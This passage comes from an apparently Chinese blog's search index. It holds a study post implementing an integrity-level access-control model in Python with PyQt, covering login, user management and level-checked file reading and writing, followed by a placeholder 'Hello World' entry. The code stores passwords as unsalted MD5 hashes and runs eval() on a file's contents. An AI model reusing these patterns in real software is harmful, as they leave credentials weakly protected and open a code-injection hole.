arrayofLines = fr.readlines() numberofLines = len(arrayofLines) for line in arrayofLines: line = line.strip() listFromLine = line.split(':') name = listFromLine[0] if name == nameIn: numberofLines = -1 passwd = listFromLine[1] if passwd == passwdIn: group = listFromLine[2] print("\n登录成功!\n") if name == 'root': print('root登录') rootUI.show() MainWindow.close() else: urName = nameIn mainUI.lineEdit.setText(urName) mainUI.lineEdit_2.setText(group) mainUI.show() MainWindow.close() else: QMessageBox.warning(self, "警告", "密码错误!", QMessageBox.Yes) self.lineEdit.setFocus() fr.close() return 0 管理员功能实现管理员可以对用户进行增、删、查的操作 增加用户的实现 获取管理员输入的用户名、密码和用户等级 将明文密码转换为md5值 判断输入的账户是否已经存在以及是否为空 如果没有问题将其存入passwd.txt的末尾 12345678910111213141516171819202122232425262728293031def adduser(self): print('开始添加') name = self.lineEdit_4.text() passwd = self.lineEdit_6.text() md5 = hashlib.md5() md5.update(passwd.encode("utf-8")) passwd = md5.hexdigest() group = self.comboBox.currentText() self.name = name if self.euxit(): if name == '' or passwd == '': QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() else: cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fi = open(filename, 'r+') str = name + ':' + passwd + ':' + group + '\n' print('成功增加用户' + str + '\n') fi.seek(0, 2) fi.write(str) fi.close() else: QMessageBox.warning(self, "警告", "用户已存在", QMessageBox.Yes) self.lineEdit.setFocus() 查询已有用户的实现 从passwd.txt中逐行读出 123456789101112def readuser(self): print('readuser') cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' fo = open(filename) arrayofLines = fo.readlines() names = '' for line in arrayofLines: line = line.strip() listFromLine = line.split(':') names = names + listFromLine[0] + '\n' self.textEdit.setPlaceholderText(names) 删除用户的实现 从passwd.txt中逐行读出用户名并与待删除用户比较如果相同则删除该行 12345678910111213141516171819def rmuser(self): print(1) cur_path = os.getcwd() filename = cur_path + '/etc/passwd.txt' rmName = self.lineEdit.text() with open(filename, 'r',encoding="utf-8") as r: lines = r.readlines() lenl = len(lines) with open(filename, 'w',encoding="utf-8") as w: for line in lines: l = line.strip() listFromLine = l.split(':') if rmName == listFromLine[0]: print('删除用户' + rmName) continue if line == '\n': print('find换行') line = '' w.write(line) 普通用户功能实现普通用户可以完成对合法权限文件的读取、增加内容(上写下读)以及创建文件的操作 读取文件内容 双击文件名获取选中文件和当前用户的完整性级别如果用户的级别低于文件,则读取文件内容 123456789101112131415161718192021def readfile(self): dict = self.getGrade() fgrade = str(dict[self.file_path]) ugrade = self.lineEdit_2.text() if ugrade &gt;= fgrade: print(ugrade+ ' 正在读取 '+fgrade) filename = self.file_path print(filename) fr = open(filename) lines = '' arrayofLines = fr.readlines() for line in arrayofLines: lines += line self.textEdit.setText(lines) print('读取成功\n') else: QMessageBox.warning(self, "警告", "您的用户等级太高", QMessageBox.Yes) self.lineEdit.setFocus() 增加文件内容 双击文件名获取选中文件和当前用户的完整性级别如果用户的级别高于文件,则写入文件内容 123456789101112131415161718def writefile(self): dict = self.getGrade() fgrade = dict[self.file_path] ugrade = self.lineEdit_2.text() print(ugrade + ' 正在写入 ' + fgrade) if ugrade &lt;= fgrade: filename = self.file_path str = self.textEdit.toPlainText() print(str) fo = open(filename, 'r+') fo.seek(0, 2) fo.write(str) else: QMessageBox.warning(self, "警告", "您的用户等级太低", QMessageBox.Yes) self.lineEdit.setFocus() 创建文件 获取当前用户名和输入的文件名在当前路径下创建名为用户名的文件并对新创建的文件与用户等级建立字典新文件路径为key用户等级为value这个字典方便读写时判断等级高低 123456789101112131415161718192021222324def touchfile(self): urName = self.lineEdit.text() filename = self.lineEdit_4.text() cur_path = os.getcwd() new_path = os.path.join(cur_path + '/file', urName) print(urName) if os.path.exists(new_path) == False: os.mkdir(new_path) os.chdir(new_path) fr = open(filename, 'w') key = (new_path + '/' + filename).replace('\\', '/') fr.close() os.chdir(cur_path) fa = open('./etc/ac.txt', 'r') a = fa.read() if a == '': dict = &#123;&#125; else: dict = eval(a) dict[key] = self.lineEdit_2.text() fr = open('./etc/ac.txt', 'w') fr.write(str(dict)) fr.close() fa.close()]]></content>
<categories>
<category>理论学习</category>
</categories>
<tags>
<tag>模型实现</tag>
<tag>python</tag>
<tag>访问控制</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Hello World]]></title>
<url>%2F2000%2F01%2F01%2Fhello-world%2F</url>
<content type="text"><![CDATA[你好!我是混元霹雳手]]></content>
</entry>
</search>